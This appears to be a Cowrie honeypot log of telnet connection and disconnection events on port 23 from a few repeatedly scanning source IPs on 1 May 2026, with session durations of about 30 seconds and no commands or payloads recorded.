{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":49580,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ec0eb8970e3","protocol":"telnet","message":"New connection: 99.198.111.122:49580 (10.17.0.5:23) [session: 1ec0eb8970e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:22.226576Z"}
{"eventid":"cowrie.session.closed","duration":31.595287322998047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:22.585685Z","src_ip":"99.198.111.122","session":"4a3a682d98a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":33166,"dst_ip":"10.17.0.5","dst_port":23,"session":"9aa1dc70f825","protocol":"telnet","message":"New connection: 162.241.40.195:33166 (10.17.0.5:23) [session: 9aa1dc70f825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:22.612440Z"}
{"eventid":"cowrie.session.closed","duration":31.77027153968811,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:22.945512Z","src_ip":"99.198.111.122","session":"37733c9f1b83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":51584,"dst_ip":"10.17.0.5","dst_port":23,"session":"f384a13a90a6","protocol":"telnet","message":"New connection: 99.198.111.122:51584 (10.17.0.5:23) [session: f384a13a90a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:22.977780Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":51656,"dst_ip":"10.17.0.5","dst_port":23,"session":"4befbb5e2852","protocol":"telnet","message":"New connection: 99.198.111.122:51656 (10.17.0.5:23) [session: 4befbb5e2852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:23.011028Z"}
{"eventid":"cowrie.session.closed","duration":30.49965739250183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:23.032108Z","src_ip":"99.198.111.122","session":"0a4200f2f6cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98892641067505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:23.064185Z","src_ip":"99.198.111.122","session":"d00464a66092","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.369133710861206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:23.110505Z","src_ip":"195.154.29.177","session":"9a88dd21bd15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":51910,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c480ea2de00","protocol":"telnet","message":"New connection: 99.198.111.122:51910 (10.17.0.5:23) [session: 0c480ea2de00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:23.121889Z"}
{"eventid":"cowrie.session.closed","duration":30.521723985671997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:23.163754Z","src_ip":"160.250.4.73","session":"73b78b7290e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.074024438858032,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:23.188520Z","src_ip":"160.250.4.73","session":"e3f5b0c61fac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":57306,"dst_ip":"10.17.0.5","dst_port":23,"session":"44464db5f543","protocol":"telnet","message":"New connection: 160.250.4.73:57306 (10.17.0.5:23) [session: 44464db5f543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:23.579815Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":58006,"dst_ip":"10.17.0.5","dst_port":23,"session":"272e5140f049","protocol":"telnet","message":"New connection: 195.154.29.177:58006 (10.17.0.5:23) [session: 272e5140f049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:23.850641Z"}
{"eventid":"cowrie.session.closed","duration":30.435302734375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:24.079427Z","src_ip":"99.198.111.122","session":"73749334d6ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.102222204208374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:24.133504Z","src_ip":"160.250.4.73","session":"ac73fba21879","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89282774925232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:24.183017Z","src_ip":"99.198.111.122","session":"cb361eed8ad6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":54248,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c99aadca5c5","protocol":"telnet","message":"New connection: 99.198.111.122:54248 (10.17.0.5:23) [session: 1c99aadca5c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:24.198809Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":56410,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6e62cc6771a","protocol":"telnet","message":"New connection: 185.26.126.47:56410 (159.203.135.109:23) [session: b6e62cc6771a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:24.302362Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":57308,"dst_ip":"10.17.0.5","dst_port":23,"session":"973411df1791","protocol":"telnet","message":"New connection: 160.250.4.73:57308 (10.17.0.5:23) [session: 973411df1791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:24.916703Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":56020,"dst_ip":"10.17.0.5","dst_port":23,"session":"51bf59a5f33a","protocol":"telnet","message":"New connection: 99.198.111.122:56020 (10.17.0.5:23) [session: 51bf59a5f33a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:25.049313Z"}
{"eventid":"cowrie.session.closed","duration":30.757361888885498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:25.076260Z","src_ip":"135.148.33.217","session":"a00063adcb2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.132539749145508,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:25.082291Z","src_ip":"99.198.111.122","session":"680777b231bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":56495,"dst_ip":"10.17.0.5","dst_port":23,"session":"06183dc39a32","protocol":"telnet","message":"New connection: 99.198.111.122:56495 (10.17.0.5:23) [session: 06183dc39a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:25.268502Z"}
{"eventid":"cowrie.session.closed","duration":31.543445348739624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:25.408860Z","src_ip":"160.250.4.73","session":"ec17844927d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":57322,"dst_ip":"10.17.0.5","dst_port":23,"session":"e16422e508ac","protocol":"telnet","message":"New connection: 160.250.4.73:57322 (10.17.0.5:23) [session: e16422e508ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:25.420294Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":35124,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dfb377f4a84","protocol":"telnet","message":"New connection: 162.241.40.195:35124 (10.17.0.5:23) [session: 7dfb377f4a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:25.663078Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":57334,"dst_ip":"10.17.0.5","dst_port":23,"session":"3741f67a2e0b","protocol":"telnet","message":"New connection: 160.250.4.73:57334 (10.17.0.5:23) [session: 3741f67a2e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:25.899105Z"}
{"eventid":"cowrie.session.closed","duration":30.727129697799683,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:26.059374Z","src_ip":"135.148.33.217","session":"c618d5f56fcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":46920,"dst_ip":"10.17.0.5","dst_port":23,"session":"34600e4e7afa","protocol":"telnet","message":"New connection: 135.148.33.217:46920 (10.17.0.5:23) [session: 34600e4e7afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:26.121349Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":58430,"dst_ip":"10.17.0.5","dst_port":23,"session":"040f938d1617","protocol":"telnet","message":"New connection: 99.198.111.122:58430 (10.17.0.5:23) [session: 040f938d1617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:26.234860Z"}
{"eventid":"cowrie.session.closed","duration":31.045384168624878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:26.416378Z","src_ip":"160.250.4.73","session":"d381d294d2b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":59122,"dst_ip":"10.17.0.5","dst_port":23,"session":"a92344c3c93c","protocol":"telnet","message":"New connection: 99.198.111.122:59122 (10.17.0.5:23) [session: a92344c3c93c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:26.524084Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":37840,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fadc8e3b30d","protocol":"telnet","message":"New connection: 195.154.29.177:37840 (10.17.0.5:23) [session: 0fadc8e3b30d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:26.574709Z"}
{"eventid":"cowrie.session.closed","duration":31.54443669319153,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:26.593949Z","src_ip":"160.250.4.73","session":"6ac19f7e45be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":59356,"dst_ip":"10.17.0.5","dst_port":23,"session":"36d104830196","protocol":"telnet","message":"New connection: 99.198.111.122:59356 (10.17.0.5:23) [session: 36d104830196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:26.623896Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":59670,"dst_ip":"10.17.0.5","dst_port":23,"session":"19cd98d41956","protocol":"telnet","message":"New connection: 99.198.111.122:59670 (10.17.0.5:23) [session: 19cd98d41956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:26.738545Z"}
{"eventid":"cowrie.session.closed","duration":31.06924605369568,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:26.814073Z","src_ip":"216.22.21.200","session":"e689147d47de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.166414737701416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:27.060712Z","src_ip":"135.148.33.217","session":"56974669b6f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":36438,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ca01750f3fb","protocol":"telnet","message":"New connection: 162.241.40.195:36438 (10.17.0.5:23) [session: 6ca01750f3fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:27.077803Z"}
{"eventid":"cowrie.session.closed","duration":30.501591682434082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:27.096622Z","src_ip":"135.148.33.217","session":"53092b3cc753","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.331720113754272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:27.161089Z","src_ip":"99.198.111.122","session":"994d9d7001c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.7.102","src_port":52856,"dst_ip":"10.17.0.5","dst_port":23,"session":"6139a4f59bb7","protocol":"telnet","message":"New connection: 50.6.7.102:52856 (10.17.0.5:23) [session: 6139a4f59bb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:27.797613Z"}
{"eventid":"cowrie.session.closed","duration":31.33043122291565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:27.892464Z","src_ip":"99.198.111.122","session":"8242ed34c3b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":49550,"dst_ip":"10.17.0.5","dst_port":23,"session":"1947e5c79fc0","protocol":"telnet","message":"New connection: 135.148.33.217:49550 (10.17.0.5:23) [session: 1947e5c79fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:27.990023Z"}
{"eventid":"cowrie.session.closed","duration":30.99422335624695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:28.072841Z","src_ip":"135.148.33.217","session":"1511298dc8a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":34690,"dst_ip":"10.17.0.5","dst_port":23,"session":"02aa8431b13a","protocol":"telnet","message":"New connection: 99.198.111.122:34690 (10.17.0.5:23) [session: 02aa8431b13a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:28.085442Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":34888,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e76a98b50c8","protocol":"telnet","message":"New connection: 99.198.111.122:34888 (10.17.0.5:23) [session: 5e76a98b50c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:28.188802Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":35494,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7ce0db9a115","protocol":"telnet","message":"New connection: 162.241.40.195:35494 (10.17.0.5:23) [session: f7ce0db9a115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:28.309162Z"}
{"eventid":"cowrie.session.closed","duration":30.91572141647339,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:28.326063Z","src_ip":"216.22.21.200","session":"a0037963edda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97980046272278,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:28.529358Z","src_ip":"195.154.29.177","session":"0e443bdcbdbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.321614742279053,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:28.597924Z","src_ip":"99.198.111.122","session":"a2c7cd7c5aa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":43240,"dst_ip":"10.17.0.5","dst_port":23,"session":"493edfcf3554","protocol":"telnet","message":"New connection: 64.235.40.29:43240 (10.17.0.5:23) [session: 493edfcf3554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:28.698913Z"}
{"eventid":"cowrie.session.closed","duration":30.5793137550354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:29.070786Z","src_ip":"99.198.111.122","session":"28192bc4414e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.786638021469116,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:29.074869Z","src_ip":"135.148.33.217","session":"e8c5179d9663","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.365856647491455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:29.128941Z","src_ip":"160.250.4.73","session":"69f7a448ba3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":50936,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f2acd5aa420","protocol":"telnet","message":"New connection: 135.148.33.217:50936 (10.17.0.5:23) [session: 1f2acd5aa420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:29.249685Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":37866,"dst_ip":"10.17.0.5","dst_port":23,"session":"344e23419ffb","protocol":"telnet","message":"New connection: 99.198.111.122:37866 (10.17.0.5:23) [session: 344e23419ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:29.456809Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":38266,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a6f5de5c9ae","protocol":"telnet","message":"New connection: 99.198.111.122:38266 (10.17.0.5:23) [session: 3a6f5de5c9ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:29.623218Z"}
{"eventid":"cowrie.session.closed","duration":31.354440450668335,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:29.769244Z","src_ip":"99.198.111.122","session":"1414e0e890b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":38858,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb6880865da3","protocol":"telnet","message":"New connection: 99.198.111.122:38858 (10.17.0.5:23) [session: eb6880865da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:29.854644Z"}
{"eventid":"cowrie.session.closed","duration":31.779523611068726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:29.914855Z","src_ip":"99.198.111.122","session":"b7db26632884","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48680019378662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:30.018903Z","src_ip":"99.198.111.122","session":"06a6257e3c03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":39344,"dst_ip":"10.17.0.5","dst_port":23,"session":"697630d7bed2","protocol":"telnet","message":"New connection: 99.198.111.122:39344 (10.17.0.5:23) [session: 697630d7bed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:30.090866Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":37596,"dst_ip":"10.17.0.5","dst_port":23,"session":"a77203044aee","protocol":"telnet","message":"New connection: 162.241.40.195:37596 (10.17.0.5:23) [session: a77203044aee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:30.120710Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":39684,"dst_ip":"10.17.0.5","dst_port":23,"session":"e618e91fbb0b","protocol":"telnet","message":"New connection: 99.198.111.122:39684 (10.17.0.5:23) [session: e618e91fbb0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:30.234765Z"}
{"eventid":"cowrie.session.closed","duration":30.548823833465576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:30.412377Z","src_ip":"108.179.218.230","session":"627c2cff7569","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.520670890808105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:30.779375Z","src_ip":"99.198.111.122","session":"2489c584cc21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":38562,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3cb3cdea729","protocol":"telnet","message":"New connection: 162.241.40.195:38562 (10.17.0.5:23) [session: f3cb3cdea729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:30.798920Z"}
{"eventid":"cowrie.session.closed","duration":31.14330267906189,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:31.002516Z","src_ip":"195.154.29.177","session":"d978923a9cd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":32796,"dst_ip":"10.17.0.5","dst_port":23,"session":"5068d0d1b9f7","protocol":"telnet","message":"New connection: 160.250.4.73:32796 (10.17.0.5:23) [session: 5068d0d1b9f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:31.078044Z"}
{"eventid":"cowrie.session.closed","duration":30.687793970108032,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:31.155170Z","src_ip":"135.148.33.217","session":"b6bd73333acc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.502466201782227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:31.159591Z","src_ip":"160.250.4.73","session":"d237659c22aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00205373764038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:31.162607Z","src_ip":"99.198.111.122","session":"7338b1c1afb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.720062017440796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:31.210984Z","src_ip":"99.198.111.122","session":"2ea5a529e944","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73676586151123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:31.336223Z","src_ip":"99.198.111.122","session":"4ab125d943c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.101686239242554,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:31.340589Z","src_ip":"99.198.111.122","session":"1ebda4635765","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":53566,"dst_ip":"10.17.0.5","dst_port":23,"session":"04931f706f8e","protocol":"telnet","message":"New connection: 135.148.33.217:53566 (10.17.0.5:23) [session: 04931f706f8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:31.489908Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":53642,"dst_ip":"10.17.0.5","dst_port":23,"session":"f364fa929bf6","protocol":"telnet","message":"New connection: 135.148.33.217:53642 (10.17.0.5:23) [session: f364fa929bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:31.575926Z"}
{"eventid":"cowrie.session.closed","duration":30.54613494873047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:32.038857Z","src_ip":"99.198.111.122","session":"59308fcc8ea2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.222907781600952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:32.042495Z","src_ip":"99.198.111.122","session":"3cfffe2ea9e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.275672674179077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:32.045681Z","src_ip":"99.198.111.122","session":"4a510da98b81","protocol":"telnet"}
